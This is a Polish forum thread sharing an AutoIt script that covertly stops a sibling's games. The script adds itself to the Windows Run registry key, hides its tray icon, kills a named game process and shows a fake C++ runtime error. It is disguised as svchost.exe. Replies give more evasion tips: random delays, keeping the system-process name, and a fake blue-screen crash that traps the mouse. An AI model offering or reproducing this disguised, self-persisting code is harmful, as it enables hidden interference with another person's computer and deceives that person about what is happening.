[Source] Anti kids

[Grzegoslaw]

Wkurza cię brat/siostra który/a ciągle gra w jakieś gry?
Chcesz mu to uniemożliwic nie ingerując w pliki gry?
Oto rozwiązanie problemu

RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @ScriptName, "REG_SZ", @ScriptFullPath) 
#NoTrayIcon
While 1
If ProcessExists ("tu podajemy nazwe procesu gry") Then
ProcessClose("tu podajemy nazwe procesu gry")
sleep(10)
MsgBox(16,"Microsoft Visual C++ Runtime Library", "System error @H0003121231235 "&@LF&"Unspecifed error" )
EndIf
Sleep(5000)
Wend 

 

 

zapisujemy to gdzieś w windowsie pod jakąś nazwą np svchost.exe

Prosze o nie krytykowanie (wiem że kod banalny ale może komuś sie przyda) ponieważ niedawno zacząłem zabawe z autoIT

W moim przypadku skrypt spełnia zadanie

@down dodane

@2x down, sprawdzałem i trochę dziwnie to wygląda

[jackraymund]

może być wiele procesów o takiej samej nazwie, więc svchost nie musi miec innej nazwy

możesz dodać jakiś guzik z błędem, np. runtime error c++

bardziej naturalnie ;f

[Gość]

Heh myślę że się zorientują przed MsgBox daj Sleep(Random(30000,120000))

I lepsza nazwa svchost.exe, jest tego mnóstwo to się nie skapną.

[Wasiij Iwanowic]

zamiast msg box'a możesz dać fałszywe BSOD

kod:

 

 

#include <GUIConstants.au3>


HotKeySet("{ESC}", "_Exit")


MouseMove(@DesktopWidth, 0, 0)
GUICreate ('BSoD', @DesktopWidth + '50' , @DesktopHeight + '50')
GUISetBkColor (0x0000AA)
GUISetIcon('shell32.dll', 295)
$Label = GUICtrlCreateLabel("A problem has been detected and Windows has been shut down to prevent damage" & @CRLF & _
"to your computer." & @CRLF & _
@CRLF & _
"DRIVER_POWER_STATE_FAILURE" & @CRLF & _
@CRLF & _
"If this is the first time you've seen this stop error screen," & @CRLF & _
"restart your computer. If this screen appears again, follow" & @CRLF & _
"these steps:" & @CRLF & _
@CRLF & _
"Check to make sure any new hardware or software is properly installed." & @CRLF & _
"If this is a new installation, ask your hardware or software manufacturer" & @CRLF & _
"for any Windows updates you might need." & @CRLF & _
@CRLF & _
"If problems continue, disable or remove any newly installed hardware" & @CRLF & _
"or software. Disable BIOS memory options such as caching or shadowing." & @CRLF & _
"If you need to use Safe Mode to remove or disable components, restart" & @CRLF & _
"your computer, press F8 to select Advanced Startup Options, and then" & @CRLF & _
"select Safe Mode." & @CRLF & _
@CRLF & _
"Technical information:" & @CRLF & _
@CRLF & _
"*** STOP: 0x0000009F (0x00000004,0x00000258,0x838E5D48,0x00000000)" & @CRLF & _
@CRLF & _
@CRLF & _
@CRLF & _
"Collecting data for crash dump ..." & @CRLF & _
"Initializing disk for crash dump ..." & @CRLF & _
"Beginning dump of physical memory." & @CRLF & _
"Dumping physical memory to disk:  75", 30, 50, @DesktopWidth - 10, @DesktopHeight - 10)
                GUICtrlSetFont($Label, 14, 400, -1, "Lucida Console")
        GUICtrlSetColor($Label, 0xFFFFFF)
GUISetState (@SW_SHOW)
Beep(1500,300)
 
while 1
    $pos = MouseGetPos()
    If $pos[0] = @DesktopWidth And $pos[1] = 0 Then
        ;Do Nothing
    Else
        MouseMove(@DesktopWidth, 0, 0)
    EndIf
 Sleep(100)
wend

Func _Exit()
Exit
Endfunc
While 1
   Sleep(1)
   WEnd
   

 

 

 

 

to jest przykład a wyłączasz to klawiszem Esc